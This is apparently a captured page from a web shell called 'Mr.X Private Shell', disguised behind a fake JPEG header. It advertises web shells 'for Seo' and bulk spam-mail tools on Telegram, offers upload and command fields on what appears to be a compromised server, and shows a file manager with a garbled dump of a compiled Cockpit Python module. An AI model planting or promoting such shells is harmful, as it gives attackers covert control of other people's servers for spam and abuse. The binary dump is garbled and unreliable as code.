����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

]W�i�&�@s:ddlZddlZddlZddlZddlZddlZddlZddlmZddl	m
Z
mZmZm
Z
ddlmZddlmZddlmZmZddlmZdd	lmZmZdd
lmZddlmZmZmZddl m!Z!dd
l"m#Z#m$Z$m%Z%e�&e'�Z(Gdd�de�Z)Gdd�dej*�Z+Gdd�de+�Z,Gdd�de%e+ej-dd�Z.dS)�N)�TemporaryDirectory)�List�Optional�Sequence�Tuple)�ferny)�make_bootloader)�Variant�bus�)�BridgeBeibootHelper)�
JsonObject�get_str)�BridgeConfig)�ConfiguredPeer�Peer�	PeerError)�PolkitAgent)�Router�RoutingError�RoutingRulecsBeZdZUejed<eeejd��fdd�Zdd�dd�Z	�Z
S)	�
SuperuserPeer�	responder)�router�configrcst��||�||_dS�N)�super�__init__r)�selfrrr��	__class__��5/usr/lib/python3.9/site-packages/cockpit/superuser.pyr-szSuperuserPeer.__init__N��returnc�s�t��4IdH��`}d|jvrDt�d|j�|�t|j��IdHnt�d|j�|jg}d|jvr�t�d|j�t|dg�}|�	|�t
|jtj
d���}nd}t�|�}d|jvr�|�t��}t�|�}d	|��g}n|j}|j|j||d
d�IdH}	|du�r|	�|�z|��IdHWn:tj�yZ}
ztdt|
�d
�|
�WYd}
~
n
d}
~
00Wd�IdH�q�1IdH�s�0YdS)NZpkexecz-connecting polkit superuser peer transport %rz1connecting non-polkit superuser peer transport %rz# cockpit-bridgez$going to beiboot superuser bridge %rz--privileged)ZgadgetszSUDO_ASKPASS=ferny-askpassz
SUDO_ASKPASS=T)�stderrZstart_new_sessionzauthentication-failed)�message)�
contextlib�AsyncExitStack�args�logger�debug�enter_async_contextrrr�appendrZstepsrZBEIBOOT_GADGETS�encodeZInteractionAgent�env�
enter_contextrZwrite_askpass_to_tmpdirZspawn�writeZcommunicateZInteractionErrorr�str)r�contextZ
responders�helperZstage1ZagentZtmpdirZ
ferny_askpassr/Z	transport�excr!r!r"�do_connect_transport1s2







z"SuperuserPeer.do_connect_transport)�__name__�
__module__�__qualname__r�AskpassHandler�__annotations__rrrr6�
__classcell__r!r!rr"r*s

rc@s*eZdZdZeeeeedd�dd�ZdS)�CockpitResponder)z
ferny.askpass�cockpit.send-stderrN)�commandr)�fdsr%r$c
�sj|dkrftj|dd��>}|�d�|�dgtjtjt�ddg�fg�Wd�n1s\0YdS)Nr>r)�fileno��i�)�socket�popZsendmsgZ
SOL_SOCKETZ
SCM_RIGHTS�array)rr?r)r@r%Zsockr!r!r"�do_custom_commandZs
z"CockpitResponder.do_custom_command)	r7r8r9Zcommandsr2rr�intrHr!r!r!r"r=Wsr=c@s.eZdZed�dd�Zeeedd�dd�ZdS)	�AuthorizeResponder)rcCs||_d|_dS)NF)r�authorize_attempted)rrr!r!r"rcszAuthorizeResponder.__init__z
str | None��messages�prompt�hintr$c�s`|jrt�d�dSd|_d�dd�t���d�D��}|j�d|���IdH}|dkr\dS|S)NzAnoninteractive authorize during init already attempted, rejectingT�css|]}|d�VqdS)Z02xNr!��.0�cr!r!r"�	<genexpr>m�z0AuthorizeResponder.do_askpass.<locals>.<genexpr>�asciizplain1:)	rKr*�info�join�getpassZgetuserr.rZrequest_authorization)rrMrNrOZhexuser�passwordr!r!r"�
do_askpassgs
zAuthorizeResponder.do_askpassN)r7r8r9rrr2r[r!r!r!r"rJbsrJcs�eZdZUdZeeed<eej	ed<ee
ed<ej�
ddddd�Zejjdgd�Zejjdd	d�Zejjd
id�Zeeed�dd
�Zeeeeed�dd�Zdd�eed��fdd�Zdd�dd�Zeejdd�dd�Zeed�dd�Zdd�d d!�Z dd�d"d#�Z!edd$�d%d&�Z"d'dd(�d)d*�Z#ejj$dgd+�edd,�d-d.��Z%ej�$�dd�d/d0��Z&ejj$dgd+�edd1�d2d3��Z'�Z(S)4�SuperuserRoutingRuler!�superuser_configs�pending_prompt�peer�s�b�as)�value�none�a{sv})�optionsr$cCs<|�d�}|r|jdkrdS|js*|dkr0|jStd��dS)N�	superuser�root�tryz
access-denied)�get�currentr_r)rrfrgr!r!r"�
apply_rule�s
zSuperuserRoutingRule.apply_rulerLc�sV|dk}t����|_z2t�d|�|�d|d||�|jIdHWd|_Sd|_0dS)NZconfirmzprompting for %srP)�asyncioZget_running_loopZ
create_futurer^r*r+rN)rrMrNrOZechor!r!r"r[�s�zSuperuserRoutingRule.do_askpassF��
privileged)rrocs8t��|�d|_d|_d|_|s.t��dkr4d|_dS)Nrrh)rrr^r_Zstartup�os�getuidrk)rrrorr!r"r�szSuperuserRoutingRule.__init__Nr#cCsd|_d|_dS)Nrd)rkr_�rr!r!r"�	peer_done�szSuperuserRoutingRule.peer_done)�namerr$c
�s�|jdkrt�dd��|jD]}||jdfvrqHqt�dd|�d���d|_t|j||�|_|j�|j	�z|jj
|jjd�IdHWnZtj
y�t�d	d
�d�Yn:ttfy�}zt�dt|��|�WYd}~n
d}~00|jjj|_dS)Nrdzcockpit.Superuser.Errorz Superuser bridge already running�anyzUnknown superuser bridge type "�"�init)�	init_hostz!cockpit.Superuser.Error.CancelledzOperation aborted)rkr
ZBusErrorr]rtrrr_�add_done_callbackrs�startrxrmZCancelledError�OSErrorrr2r)rrtrrr5r!r!r"�go�s 

(zSuperuserRoutingRule.go)�configscCs�t�dt|��dd�|D�}t|�|_dd�|jD�|_dd�|D�|_t�d|j�|jdur�|jj|jvr�t�d|jjj	�|�
�dS)	Nzset_configs() with %d itemscSsg|]}|jr|�qSr!rn�rRrr!r!r"�
<listcomp>�rUz4SuperuserRoutingRule.set_configs.<locals>.<listcomp>cSsg|]
}|j�qSr!)rtr~r!r!r"r�rUcSs*i|]"}|jr|jtdt|j�id��qS)�labelre)r�r	rQr!r!r"�
<dictcomp>�rUz4SuperuserRoutingRule.set_configs.<locals>.<dictcomp>z  bridges are now %sz=  stopping superuser bridge '%s': it disappeared from configs)r*r+�len�tupler]�bridges�methodsr_rrt�stop)rr}r!r!r"�set_configs�s

z SuperuserRoutingRule.set_configscCs|jdur|j��d|_dSr)r^�cancelrrr!r!r"�
cancel_prompt�s

z"SuperuserRoutingRule.cancel_promptcCs |��|jdur|j��dSr)r�r_�closerrr!r!r"�shutdown�s

zSuperuserRoutingRule.shutdown)�paramsr$cCs<t|dd�}t|j�}t�|�||��|_|j�|j�dS)N�idru)	rrJrrmZcreate_taskr|�
_init_taskry�
_init_done)rr�rtrr!r!r"rw�s
zSuperuserRoutingRule.initzasyncio.Task[None])�taskr$cCs&t�d|���|jjdd�|`dS)Nzsuperuser init done! %szsuperuser-init-done)r?)r*r+�	exceptionrZ
write_controlr�)rr�r!r!r"r��szSuperuserRoutingRule._init_done)Zin_types)rtr$c�s|�||�IdHdSr)r|)rrtr!r!r"rz�szSuperuserRoutingRule.startcCs|��dSr)r�rrr!r!r"r��szSuperuserRoutingRule.stop)�replyr$cCs0|jdur"t�d�|j�|�n
t�d�dS)Nzresponding to pending promptz!got Answer, but no prompt pending)r^r*r+Z
set_result)rr�r!r!r"�answer�s

zSuperuserRoutingRule.answer))r7r8r9r]rrr;rrmZFuturerr
Z	InterfaceZSignalrNZPropertyr�rkr�r
rrlr2r[r�boolrrsrr:r|r�r�r�rwr�ZMethodrzr�r�r<r!r!rr"r\ss.



r\zcockpit.Superuser)Z	interface)/rGrmr'rYZloggingrprEZtempfiler�typingrrrrZcockpit._vendorrZcockpit._vendor.bei.bootloaderrZcockpit._vendor.systemd_ctypesr	r
ZbeipackrZjsonutilr
rZpackagesrr_rrrZpolkitrrrrrZ	getLoggerr7r*rr:r=rJZObjectr\r!r!r!r"�<module>s,
-

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 202 B 0644
__init__.cpython-39.pyc File 202 B 0644
_version.cpython-39.opt-1.pyc File 162 B 0644
_version.cpython-39.pyc File 162 B 0644
beiboot.cpython-39.opt-1.pyc File 16.1 KB 0644
beiboot.cpython-39.pyc File 16.2 KB 0644
beipack.cpython-39.opt-1.pyc File 2.44 KB 0644
beipack.cpython-39.pyc File 2.48 KB 0644
bridge.cpython-39.opt-1.pyc File 9.22 KB 0644
bridge.cpython-39.pyc File 9.25 KB 0644
channel.cpython-39.opt-1.pyc File 21.21 KB 0644
channel.cpython-39.pyc File 21.39 KB 0644
config.cpython-39.opt-1.pyc File 2.9 KB 0644
config.cpython-39.pyc File 2.91 KB 0644
internal_endpoints.cpython-39.opt-1.pyc File 5.73 KB 0644
internal_endpoints.cpython-39.pyc File 5.73 KB 0644
jsonutil.cpython-39.opt-1.pyc File 7.4 KB 0644
jsonutil.cpython-39.pyc File 7.4 KB 0644
osinfo.cpython-39.opt-1.pyc File 530 B 0644
osinfo.cpython-39.pyc File 530 B 0644
packages.cpython-39.opt-1.pyc File 17.3 KB 0644
packages.cpython-39.pyc File 17.35 KB 0644
peer.cpython-39.opt-1.pyc File 10.66 KB 0644
peer.cpython-39.pyc File 10.82 KB 0644
polkit.cpython-39.opt-1.pyc File 5.05 KB 0644
polkit.cpython-39.pyc File 5.07 KB 0644
polyfills.cpython-39.opt-1.pyc File 1.88 KB 0644
polyfills.cpython-39.pyc File 1.88 KB 0644
protocol.cpython-39.opt-1.pyc File 9.65 KB 0644
protocol.cpython-39.pyc File 9.71 KB 0644
remote.cpython-39.opt-1.pyc File 6.78 KB 0644
remote.cpython-39.pyc File 6.94 KB 0644
router.cpython-39.opt-1.pyc File 9.43 KB 0644
router.cpython-39.pyc File 9.48 KB 0644
samples.cpython-39.opt-1.pyc File 12.07 KB 0644
samples.cpython-39.pyc File 12.07 KB 0644
superuser.cpython-39.opt-1.pyc File 9.08 KB 0644
superuser.cpython-39.pyc File 9.15 KB 0644
transports.cpython-39.opt-1.pyc File 16.62 KB 0644
transports.cpython-39.pyc File 16.92 KB 0644